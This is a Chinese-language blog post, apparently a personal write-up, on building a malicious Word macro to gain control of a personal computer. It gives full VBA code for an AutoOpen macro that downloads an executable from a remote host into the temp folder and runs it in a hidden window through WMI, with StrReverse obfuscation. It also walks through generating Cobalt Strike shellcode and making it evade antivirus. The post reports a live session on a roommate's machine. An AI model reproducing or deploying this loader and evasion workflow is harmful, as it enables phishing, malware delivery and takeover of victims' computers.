office宏病毒+web漏洞挖掘
权限获取之个人主机
关于office宏
宏是一个批量处理程序命令,正确地运用它可以提高工作效率。微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力。如完打开word文件同时要打开某个文件的功能,必须要自己编写一段称之为宏的脚本。具体做法是在“工具”菜单“宏”-“宏”弹出的对话框输入宏名,然后按“创建”按钮会打开visual basic编辑器,你就可以编程了,这个就是宏。学会它会有很多乐趣的。玩过街机模拟器的人肯定有体会,在格斗游戏中,用模拟器来录制宏,以实现一键放绝招。
参考鸿鹄实验室
微信公众号里面的钓鱼文档碎碎念(二 )
攻击流程为:
使用Word宏下载二进制文件,并在宿主机上执行的方法来获得一个cobaltstrike的会话
执行的二进制文件需要进行简单的免杀,使用github上面的免杀工具 掩日
:https://github.com/1y0n/AV_Evasion_Tool
先使用cobalt strike
生成 x64 的 c 语言的shellcode
设置监听器以及勾选x64
选项
生成并保存 test.c
下载掩日3.0版本
,并安装所需要的环境,注意安装路径不要有中文,以及文件夹的名字之间不要有空格,反正尽量少一些奇奇怪怪的路径
安装tdm-gcc
:https://github.com/jmeubank/tdm-gcc/releases/download/v9.2.0-tdm64-1/tdm64-gcc-9.2.0.exe
把test.c
拖进去
生成了 YR_test.c.exe
虽然作者说不要将本工具生成的结果放到杀毒网站上去,但本机的火绒已经检测出了病毒,说明杀毒厂商已经关注该免杀方式,所以在线杀毒检测一下应该问题不大:https://www.virustotal.com/gui/
还行,比之前的免杀好多了,web选手只能靠免杀工具曲线救国了。
用室友的电脑试了试,CS成功上线,这是当时使用screenshots截图
将二进制文件放到服务器上等待宏病毒下载,为了方便记住名字把其修改为 test.exe
接着去准备编写宏代码,此处就直接参考鸿鹄实验室
的代码了
下载exe的部分代码如下,其中调用了 WinHttp.WinHttpRequest.5.1
下载exe文件,代码中的 payload 需要修改为自己的,exe文件下载到了受害机的temp目录下
Dim payload As String
Dim namePrefix As String
Dim nameSuffix As String
Dim zzz As String
Dim dollop As Object
Dim dstPath As String
Dim savePath As String
namePrefix = "AppLaunch-actual"
nameSuffix = ".exe"
payload = "http://192.168.41.4/AppLaunch.exe"
zzz = payload
Dim downloadf
Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
downloadf.Open "GET", zzz, False
downloadf.setRequestHeader "Host", "192.168.41.4"
downloadf.Send
Set dollop = CreateObject(StrReverse("maertS.bdodA"))
dollop.Type = 1
dollop.Open
dollop.Write downloadf.responseBody
dstPath = Environ$("TEMP") & "" & namePrefix & nameSuffix
savePath = dstPath
dollop.savetofile savePath, 2
执行exe文件的代码如下:
这里使用的是环境变量来获取temp的位置并保存的,不同主机temp位置可能不同,可以使用set命令来查看。下载完成后,继续使用wmi来执行我们的二进制程序,不过与昨天的wmi方式稍微有些不同是使用的2vmic oor.:stmgmniw
Const HIDDEN_WINDOW = 0
strComputer = "."
binary = dstPath
strGetObject = StrReverse("2vmic oor.\:stmgmniw")
Set objWMIService = GetObject(strGetObject)
Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:"))
objProcess.Create binary, Null, objConfig, intProcessID
完整代码为(修改其为AutoOpen
自动运行:
Sub AutoOpen()
Dim payload As String
Dim namePrefix As String
Dim nameSuffix As String
Dim zzz As String
Dim dollop As Object
Dim dstPath As String
Dim savePath As String
namePrefix = "AppLaunch-actual"
nameSuffix = ".exe"
payload = "http://192.168.41.4/AppLaunch.exe"
zzz = payload
Dim downloadf
Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
downloadf.Open "GET", zzz, False
downloadf.setRequestHeader "Host", "192.168.41.4"
downloadf.Send
Set dollop = CreateObject(StrReverse("maertS.bdodA"))
dollop.Type = 1
dollop.Open
dollop.Write downloadf.responseBody
dstPath = Environ$("TEMP") & "" & namePrefix & nameSuffix
savePath = dstPath
dollop.savetofile savePath, 2
Const HIDDEN_WINDOW = 0
strComputer = "."
binary = dstPath
strGetObject = StrReverse("2vmic oor.\:stmgmniw")
Set objWMIService = GetObject(strGetObject)
Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:"))
objProcess.Create binary, Null, objConfig, intProcessID
End Sub
创建一个Word文档并添加上面的宏代码,详细添加VBA代码的过程可以参考:https://www.cnblogs.com/Cl0ud/p/13824021.html
执行了一下下载文件部分代码发现写入文件出错,猜测是路径原因:
将路径修改为C盘根目录
dstPath = "C:" & namePrefix & nameSuffix
依旧报错,猜测是权限原因,修改其为D盘:
dstPath = "D:" & namePrefix & nameSuffix
成功下载,配合之前的自动执行脚本
cheer!上线成功
将带有宏病毒的word文档丢到在线检测上面
因为该文章已经发出来一段时间了,自然没有公众号上面过那么多杀软,不过也还行,等啥时候有空了再详细写写免杀的系列博客。
权限获取之服务器
困了困了,下次再写